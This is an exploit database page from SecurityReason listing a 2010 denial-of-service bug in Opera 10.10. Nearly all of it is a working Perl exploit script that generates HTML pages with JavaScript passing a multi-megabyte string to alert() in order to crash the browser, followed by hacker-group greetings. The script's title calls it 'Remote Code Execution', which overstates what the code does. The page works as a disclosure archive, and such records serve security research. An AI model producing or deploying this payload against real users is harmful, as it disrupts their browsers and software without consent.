SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

Opera 10.10 remote denial of service


Arrow  WLB : WLB-2010020030  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-02-06
Arrow  Credit          : null
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-02-06] Started

Arrow  Affected software :  Opera version 10.10



Arrow  Text :  

#!/usr/bin/perl


# Title : Opera 10.10 Remote Code Execution DoS Exploit
# Tested : Windows xp (sp2)

# Description : Opera Web Browser is vulnerable DoS within its javascript
tags (alert)
# This issue can be exploited by using a large value in a alert tags to
create an out-of-bounds memory access
# This have in advising at version 9.10
http://www.milw0rm.com/exploits/3871, and good news this issue still work
on version 10.10

# Credits to Dj7xpl first exploiter
# Greetz : str0ke a great man :)
# muts and exploit-db
# opt!x hacker my best friend :d
# and all INDONESIAN hacker community
# cr4wl3r kiss your soul from Gorontalo - INDONESIA

# Sorry for my bad english :p~

print qq(
###################################################
## Opera 10.10 Remote Code Execution DoS Exploit ##
## Credits : Dj7xpl ##
## http://www.milw0rm.com/exploits/3871##
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org> ##
## Greetz : str0ke, opt!x hacker, xoron ##
## all member at manadocoding.net ##
## all member at indonesianhacker.org ##
###################################################
);

my $header = "<html>n<script>n";
my $footer = "</script>n</html>";


my $uhoh1 = "var buf = 'A';n".
"while (buf.length <= 4444444) buf+=buf;n".
"alert(buf)n";

##################################################################
open(myfile,'>> uhoh1.html');
print myfile $header.$uhoh1.$footer;
##################################################################


my $uhoh2 = "alert('". "A" x 4444444
."')"."n";

##################################################################
open(myfile,'>> uhoh2.html');
print myfile $header.$uhoh2.$footer;
##################################################################

print "nDone, successfully created!n";


Arrow  References :  

None

If you want change this note, please use UCP


Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

Copyright © SecurityReason.com. All Rights Reserved.